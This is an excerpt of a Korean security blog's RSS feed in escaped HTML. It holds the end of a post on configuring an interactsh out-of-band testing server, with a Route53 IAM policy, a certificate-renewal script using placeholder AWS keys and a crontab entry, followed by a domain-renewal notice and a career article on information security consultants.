      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Action&quot;: [
        &quot;route53:ListHostedZones&quot;,
        &quot;route53:GetChange&quot;,
        &quot;route53:ChangeResourceRecordSets&quot;
      ],
      &quot;Resource&quot;: &quot;arn:aws:route53:::hostedzone/{호스팅존ID}&quot;
    }
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;5. 인증서 갱신 자동화(renew-cert.sh + crontab)&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1751199480596&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash
set -e

export AWS_ACCESS_KEY_ID=AKIAXXXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_REGION=ap-northeast-2

CERT_DIR=&quot;/etc/letsencrypt/live/{도메인명}&quot;
CERT_PATH=&quot;${CERT_DIR}/fullchain.pem&quot;
KEY_PATH=&quot;${CERT_DIR}/privkey.pem&quot;

sudo certbot renew --quiet --no-self-upgrade

if [ $? -eq 0 ]; then
  ln -sf &quot;$CERT_PATH&quot; /opt/interactsh/certs/cert.pem
  ln -sf &quot;$KEY_PATH&quot; /opt/interactsh/certs/privkey.pem
  systemctl restart interactsh
fi&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;크론탭 등록&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1751199495921&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo crontab -e&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1751199503966&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0 3 * * * /opt/interactsh/renew-cert.sh &amp;gt;&amp;gt; /var/log/interactsh-cert-renew.log 2&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;6. 마무리&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1856&quot; data-origin-height=&quot;629&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKnkJW/btsOWEUS9j4/xgpn8BhXQYrzqKP1pZoKlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKnkJW/btsOWEUS9j4/xgpn8BhXQYrzqKP1pZoKlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKnkJW/btsOWEUS9j4/xgpn8BhXQYrzqKP1pZoKlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKnkJW%2FbtsOWEUS9j4%2Fxgpn8BhXQYrzqKP1pZoKlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;709&quot; height=&quot;240&quot; data-origin-width=&quot;1856&quot; data-origin-height=&quot;629&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-pm-slice=&quot;1 1 []&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 구성을 기반으로 다양한 도메인/환경에서 OOB 테스트 환경을 간편하게 운영할 수 있으며, 추가적으로 웹 UI, 로깅, reverse proxy 구성을 통해 더욱 발전시킬 수 있다. nginx 리버스 프록시 작업도 해야한다. 이건 나중에,..&lt;/span&gt;&lt;/p&gt;</description>
      <category>Security/Cloud Computing</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/294</guid>
      <comments>https://gomguk.tistory.com/294#entry294comment</comments>
      <pubDate>Sun, 29 Jun 2025 21:25:54 +0900</pubDate>
    </item>
    <item>
      <title>[공지] peanutz.site 도메인 재개 공지</title>
      <link>https://gomguk.tistory.com/293</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;&lt;b&gt;[2025.06.29]&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도메인을 재구매하여 운영 재개하였습니다. 구동중인 서버, 클라우드 환경을 재설정하고 있어 일부 서비스 접속에 장애가 있을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 양질의 컨텐츠로 인사드리겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(운영중인 공개 도메인)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자모조립소: &lt;a href=&quot;http://jamo.peanutz.site/&quot;&gt;http://jamo.peanutz.site/&lt;/a&gt;&amp;nbsp; &lt;a href=&quot;https://gomguk.tistory.com/219&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://gomguk.tistory.com/219&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;[이전공지]&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;안녕하세요, 평소 peanutz.site를 찾아주신 분들께 알려드립니다.&lt;/s&gt;&lt;br /&gt;&lt;s&gt;peanutz.site 도메인 사용기간이 만료되어 현재 해당 주소로는 접속이 불가능한 상황입니다.&lt;/s&gt;&lt;br /&gt;&lt;s&gt;아래 내용을 확인해 주시면 감사하겠습니다.&lt;/s&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;s&gt;&lt;b&gt;도메인 사용기간 종료&lt;/b&gt;: 등록해둔 peanutz.site의 사용 기간이 만료되어 더 이상 서비스를 유지할 수 없게 되었습니다.&lt;/s&gt;&lt;br /&gt;&lt;s&gt;가비아에서 도메인을 구매하고 AWS Route53을 이용하여 운영을 하고 있었는데, 도메인 유지 비용을 충당할 수 없어 만료처리하였습니다. (광고 수익이 단 한번도 나지 않았습니다 ㅎㅎ)&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;b&gt;접속 불가 현상&lt;/b&gt;: 기간이 만료된 도메인은 자동으로 해당 URL 접속이 중지되며, 새로 갱신하거나 연장할 계획이 없으므로 다시 사용할 수 없습니다. 도용 도메인 등이 발생할 수 있으나 현재(2025. 01. 09) 이후 접속되는 경우 제가 아닌 다른 사용자의 도메인이므로 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;피싱 등의 피해가 발생하지 않도록 유의&lt;/b&gt;&lt;/span&gt; 바랍니다.&lt;/s&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;s&gt;&lt;b&gt;앞으로의 계획&lt;/b&gt;&lt;/s&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;s&gt;&lt;b&gt;대체 채널 운영&lt;/b&gt;&lt;/s&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;s&gt;기존 peanutz.site에서 안내했던 정보와 소식을 볼 수 있도록 기존 블로그(티스토리)에서 그대로 정보를 업데이트할 예정입니다.&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;새로 운영되는 페이지 주소나 소식이 있는 경우 블로그에서 공지드릴 예정입니다. 참고해 주세요.&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;블로그 챌린지 이후 다른 플랫폼을 살펴보고 있는 중입니다.&lt;/s&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;b&gt;이전 컨텐츠 유지&lt;/b&gt;&lt;/s&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;s&gt;peanutz.site에서 발행되었던 핵심 컨텐츠는 이전 작업을 통해 그대로 가져갈 계획입니다.&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;기존에 있던 게시물이나 자료에 대한 지속적인 접근을 보장하기 위해 백업 및 복원에 최선을 다하고 있습니다.&lt;/s&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;b&gt;새로운 도메인 검토&lt;/b&gt;&lt;/s&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;s&gt;새로운 도메인을 구매하거나 다른 플랫폼을 활용해 다시 블로그를 오픈할 방안을 고려하고 있습니다.&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;도메인 변경 시 이전 구독자분들이 혼동하지 않도록 가이드를 별도로 준비할 계획입니다.&lt;/s&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;참고: 도메인 만료와 정책&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;도메인 관련 정책은 &lt;a&gt;&lt;span&gt;ICANN&lt;/span&gt;&lt;span&gt;(국제인터넷주소관리기구)&lt;/span&gt;&lt;/a&gt;의 만료 정책을 기반으로 진행됩니다.&lt;/li&gt;
&lt;li&gt;일반적으로 도메인은 사용 기간이 만료되면 짧은 유예 기간이 지나고 바로 다른 사람이 등록할 수도 있으니, 관심 있으신 분들은 관련 정보를 확인해 보시길 권장합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공지사항</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/293</guid>
      <comments>https://gomguk.tistory.com/293#entry293comment</comments>
      <pubDate>Fri, 10 Jan 2025 22:27:40 +0900</pubDate>
    </item>
    <item>
      <title>정보보안 컨설턴트, 어떤 일을 하나요?</title>
      <link>https://gomguk.tistory.com/288</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;들어가며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보화 시대가 도래하면서 정보보안의 중요성은 날로 커지고 있습니다. 기업과 개인의 데이터를 보호하고, 사이버 위협으로부터 안전한 환경을 구축하는 것은 필수적인 과제가 되었습니다. 이러한 환경에서 &lt;b&gt;정보보안 컨설턴트&lt;/b&gt;는 중요한 역할을 맡고 있습니다. 하지만 정보보안 컨설턴트가 정확히 어떤 일을 하는지, 그리고 이 직업이 왜 중요한지에 대해 잘 모르는 분들이 많습니다. 이번 글에서는 정보보안 컨설턴트의 역할과 업무, 그리고 이 직업에 필요한 역량과 전망에 대해 자세히 알아보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;930&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/odPXw/btsKYqyC42i/uUHRd6OOBm7uuDDz4vbpB0/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/odPXw/btsKYqyC42i/uUHRd6OOBm7uuDDz4vbpB0/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/odPXw/btsKYqyC42i/uUHRd6OOBm7uuDDz4vbpB0/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FodPXw%2FbtsKYqyC42i%2FuUHRd6OOBm7uuDDz4vbpB0%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;570&quot; height=&quot;414&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;930&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정보보안 컨설턴트란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트는 기업이나 조직의 정보 시스템과 데이터를 보호하기 위해 보안 전략을 수립하고, 취약점을 분석하며, 보안 정책을 실행하는 전문가입니다. 이들은 사이버 공격으로부터 시스템을 방어하고, 데이터 유출을 예방하며, 사고 발생 시 신속히 대응하는 역할을 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;정보보안전문가와 보안컨설턴트의 차이점&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안전문가와 보안컨설턴트는 비슷한 역할을 수행하지만, 그 초점과 업무 범위에서 차이가 있습니다. 정보보안전문가는 주로 기술적인 측면에서 시스템을 보호하는 데 중점을 둡니다. 반면, 보안컨설턴트는 기술뿐만 아니라 전략적 접근을 통해 조직의 전반적인 보안 수준을 향상시키는 데 초점을 맞춥니다. 예를 들어, 정보보안전문가는 방화벽 설정이나 네트워크 보안 장비를 관리하는 반면, 보안컨설턴트는 조직의 보안 정책을 설계하고 실행하는 데 관여합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;정보보안 컨설턴트의 주요 역할&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트는 다양한 역할을 수행합니다. 이들은 조직의 보안 상태를 평가하고, 취약점을 분석하며, 이를 개선하기 위한 전략을 제안합니다. 또한, 보안 정책을 수립하고, 직원들에게 보안 교육을 제공하며, 사고 발생 시 복구 작업을 지원합니다. 이러한 역할은 조직의 데이터와 시스템을 안전하게 보호하는 데 필수적입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;853&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0i4Dz/btsKWJffR2H/kLRUe2OXe6fkxnVjDDYUKK/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0i4Dz/btsKWJffR2H/kLRUe2OXe6fkxnVjDDYUKK/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0i4Dz/btsKWJffR2H/kLRUe2OXe6fkxnVjDDYUKK/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0i4Dz%2FbtsKWJffR2H%2FkLRUe2OXe6fkxnVjDDYUKK%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;853&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정보보안 컨설턴트의 주요 업무&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트의 업무는 크게 세 가지로 나눌 수 있습니다: 취약점 진단과 보안 점검, 보안 정책 수립 및 실행, 사고 대응 및 복구 지원입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;취약점 진단과 보안 점검&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 진단은 정보보안 컨설턴트의 핵심 업무 중 하나입니다. 이들은 시스템과 네트워크의 취약점을 찾아내고, 이를 해결하기 위한 방안을 제시합니다. 예를 들어, 웹 애플리케이션의 보안 취약점을 분석하거나, 네트워크의 불법 접근 가능성을 점검하는 작업이 이에 해당합니다. 이러한 작업은 조직이 사이버 공격에 대비할 수 있도록 도와줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;보안 정책 수립 및 실행&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 정책은 조직의 보안 수준을 결정하는 중요한 요소입니다. 정보보안 컨설턴트는 조직의 특성과 요구에 맞는 보안 정책을 설계하고, 이를 실행합니다. 예를 들어, 데이터 암호화 정책을 수립하거나, 직원들의 비밀번호 관리 규정을 설정하는 것이 이에 해당합니다. 이러한 정책은 조직의 데이터를 안전하게 보호하는 데 필수적입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;사고 대응 및 복구 지원&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이버 사고는 언제든 발생할 수 있습니다. 정보보안 컨설턴트는 사고 발생 시 신속히 대응하고, 피해를 최소화하기 위한 복구 작업을 지원합니다. 예를 들어, 랜섬웨어 공격으로부터 데이터를 복구하거나, 침입 탐지 시스템을 통해 공격자를 차단하는 작업이 이에 해당합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정보보안 컨설턴트가 되기 위한 필수 역량&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트가 되기 위해서는 다양한 역량이 필요합니다. 기술적 지식, 전략적 사고, 커뮤니케이션 능력 등이 그 예입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;기술적 지식과 실무 경험&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트는 네트워크, 시스템, 데이터베이스 등 다양한 기술적 지식을 갖추어야 합니다. 또한, 실제 현장에서의 실무 경험은 이 직업에서 매우 중요한 요소입니다. 예를 들어, 해킹 대회에 참가하거나, 보안 관련 프로젝트에 참여하는 것은 실무 경험을 쌓는 좋은 방법입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;전략적 사고와 문제 해결 능력&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트는 단순히 기술적인 문제를 해결하는 것을 넘어, 조직의 보안 전략을 설계하고 실행해야 합니다. 이를 위해서는 전략적 사고와 문제 해결 능력이 필수적입니다. 예를 들어, 조직의 보안 요구를 분석하고, 이에 맞는 솔루션을 제안하는 능력이 필요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;커뮤니케이션 및 협업 능력&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트는 다양한 부서와 협력하여 보안 문제를 해결해야 합니다. 이를 위해서는 뛰어난 커뮤니케이션 능력과 협업 능력이 필요합니다. 예를 들어, 기술적인 내용을 비전문가에게 쉽게 설명하거나, 팀원들과 효과적으로 협력하는 능력이 중요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;hacking-1685092_1280.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;960&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dETHs4/btsKYLWQAEk/hh1kJgmKSowA2IcILe5xk0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dETHs4/btsKYLWQAEk/hh1kJgmKSowA2IcILe5xk0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dETHs4/btsKYLWQAEk/hh1kJgmKSowA2IcILe5xk0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdETHs4%2FbtsKYLWQAEk%2Fhh1kJgmKSowA2IcILe5xk0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;401&quot; data-filename=&quot;hacking-1685092_1280.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;960&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정보보안전문가 취업을 위한 준비 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트가 되기 위해서는 체계적인 준비가 필요합니다. 관련 자격증과 학위 취득, 실무 경험과 프로젝트 참여, 네트워킹과 업계 동향 파악 등이 그 예입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;관련 자격증과 학위 취득&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 분야에서 인정받는 자격증을 취득하는 것은 매우 중요합니다. CISSP, CISA, CEH와 같은 자격증은 정보보안 컨설턴트로서의 전문성을 입증하는 데 도움이 됩니다. 또한, 정보보호학과와 같은 관련 학위를 취득하는 것도 유리합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;실무 경험과 프로젝트 참여&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실무 경험은 정보보안 컨설턴트로서의 역량을 키우는 데 필수적입니다. 해킹 대회에 참가하거나, 보안 관련 프로젝트에 참여하는 것은 실무 경험을 쌓는 좋은 방법입니다. 예를 들어, 취약점 분석 프로젝트에 참여하거나, 보안 시스템을 설계하는 경험은 큰 도움이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;네트워킹과 업계 동향 파악&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 분야는 빠르게 변화하고 있습니다. 따라서 최신 동향을 파악하고, 관련 네트워크를 구축하는 것이 중요합니다. 예를 들어, 보안 컨퍼런스에 참석하거나, 관련 커뮤니티에 참여하는 것은 네트워킹과 동향 파악에 도움이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;정보보안 컨설턴트의 미래 전망&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정보보안 컨설턴트는 앞으로도 높은 수요를 유지할 것으로 예상됩니다. 정보보안 산업의 성장 가능성, 화이트해커와의 협업 중요성, 지속적인 학습과 자기 개발의 필요성 등이 그 이유입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
